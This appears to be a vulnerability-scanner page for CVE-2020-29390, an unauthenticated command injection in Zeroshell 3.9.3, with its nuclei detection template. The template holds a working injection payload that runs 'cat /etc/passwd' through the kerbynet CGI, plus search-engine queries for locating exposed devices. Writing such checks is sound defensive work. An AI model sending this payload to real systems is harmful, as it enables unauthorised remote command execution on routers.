Zeroshell 3.9.3 - Command Injection

criticalseverity

9.8CVSS score

39.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.

Fix

Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.

How to confirm it

Send: GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW=
Positive when: matches /root:.*:0:0:/ AND contains "<title>Start Session</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-29390 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-29390

info:
  name: Zeroshell 3.9.3 - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.
  reference:
    - https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
    - https://www.exploit-db.com/exploits/41040
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29390
    cwe-id: CWE-78
    epss-score: 0.39565
    epss-percentile: 0.98627
    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2020,zeroshell,rce,router,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "<title>Start Session</title>"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from